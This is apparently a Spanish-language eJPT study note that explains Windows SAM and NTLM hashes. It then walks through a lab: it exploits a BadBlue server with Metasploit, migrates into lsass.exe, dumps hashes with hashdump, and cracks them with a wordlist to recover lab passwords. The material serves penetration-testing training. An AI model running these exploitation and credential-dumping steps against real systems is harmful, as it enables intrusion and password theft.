> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/dumping-y-cracking/dumpeo-y-crackeo-de-hashes-de-windows/dumpeo-y-cracking-hashes-ntlm.md).

# Dumpeo y cracking hashes NTLM

Windows almacena las contraseñas de los usuarios **en forma de hashes**, no como texto plano. Estos hashes se guardan en la base de datos **SAM (Security Account Manager)** y son utilizados por el sistema para autenticar usuarios mediante el **LSA (Local Security Authority)**.

***

## 🧬 ¿Qué es un hash?

Un **hash** es una representación irreversible de datos, generada mediante un algoritmo de **hashing** (por ejemplo, MD5, SHA1, MD4).\
En Windows, los hashes de contraseñas no pueden ser revertidos directamente, pero **sí pueden ser crackeados** con fuerza bruta o ataques de diccionario.

***

## 📂 Base de datos **SAM**

* **SAM (Security Account Manager)** es un archivo del sistema que guarda los hashes de todas las cuentas de usuario locales.
* El archivo SAM **no puede copiarse directamente** mientras el sistema está en ejecución.
* Para acceder a los hashes, los atacantes usan **técnicas en memoria**, como extraerlos del proceso **LSASS** con herramientas como **Mimikatz**.
* En sistemas modernos, la SAM está **cifrada con un SysKey**, aunque este mecanismo puede ser bypassed si tienes acceso a LSASS.
* ❗ **Privilegios administrativos o SYSTEM** son necesarios para extraer estos hashes.

***

## 🔐 Tipos de hashes en Windows

| Tipo de hash         | Descripción                                                                                                                           |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| **LM** (LAN Manager) | Antiguo, inseguro. Divide la contraseña, convierte a mayúsculas y no admite símbolos. **Desactivado desde Windows Vista.**            |
| **NTLM (NT Hash)**   | Hash moderno (usado desde Vista+), basado en **MD4**. No divide la contraseña, es sensible a mayúsculas y soporta caracteres Unicode. |

> ⚠️ **NTLM ≠ NTLMv2**: Aunque se relacionan, NTLMv2 se utiliza en autenticaciones de red, mientras que el **NT Hash** es el hash local de la contraseña.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/85ptkwRS9hfrq8smT8r4" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/lMLnHkyDifZJ4MbVaO3E" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo de Nmap en la máquina de destino.

Antes de que podamos comenzar el proceso de automatización de la enumeración local en Windows, necesitaremos obtener acceso al sistema de destino.

Para empezar, necesitaremos identificar un servicio vulnerable que se esté ejecutando en el sistema de destino Windows, esto se puede hacer realizando un escaneo de detección de versión de servicio con Nmap.

**Dominio:**

```
nmap demo.ine.local
```

Hemos descubierto que varios puertos están abiertos. Volveremos a ejecutar nmap para determinar la versión del puerto 80.

<figure><img src="/files/4PndsJSgX0AGoDp7ZbQn" alt=""><figcaption></figcaption></figure>

**Dominio:**

```
nmap -sV -p 80 demo.ine.local
```

<figure><img src="/files/HBjwV4ePUhLIj1KK1WJG" alt=""><figcaption></figcaption></figure>

**Paso 4:** Buscaremos el módulo de explotación de badblue 2.7 usando searchsploit.

**Dominio:**

```
searchsploit badblue 2.7
```

<figure><img src="/files/IyC7D4cEY2aXYOw6RiXt" alt=""><figcaption></figcaption></figure>

**Paso 5:** Existe un módulo de Metasploit para el servidor BadBlue. Lo usaremos para explotar el objetivo.

Primero, inicie un servidor de base de datos Postgresql para la conectividad de la base de datos MSF.

**Comandos:**

```
/etc/init.d/postgresql start
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/Ivc6ZfPTqLcotpPKT1Zi" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito un servidor badblue.

**Paso 6:** Migrar el proceso actual a lsass.exe

**Dominio:**

```
migrate -N lsass.exe
```

<figure><img src="/files/AAUUWl41u6Ca7K91lqro" alt=""><figcaption></figcaption></figure>

**Paso 7:** Volcar los hashes NTLM

**Comandos:**

```
hashdump
```

<figure><img src="/files/nDRkB4pTYCldLoT0BcGN" alt=""><figcaption></figcaption></figure>

**Paso 8:** Verifique que los hashes estén almacenados en la base de datos MSF o no.

**Dominio:**

```
background
creds
```

<figure><img src="/files/j9CHOW7STUc2g4CZZySG" alt=""><figcaption></figcaption></figure>

**Paso 9:** utilice un módulo auxiliar de descifrado de hashes NTLM para descifrar los hashes NTLM almacenados.

**Comandos:**

```
use auxiliary/analyze/crack_windows
set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
exploit
```

<figure><img src="/files/KvYh4wX3VYJOMpAzKHb0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DRtrhCovXfUXJDXYlSxm" alt=""><figcaption></figcaption></figure>

Esto nos reveló la bandera:

**Administrador: contraseña**

**bob: contraseña1**
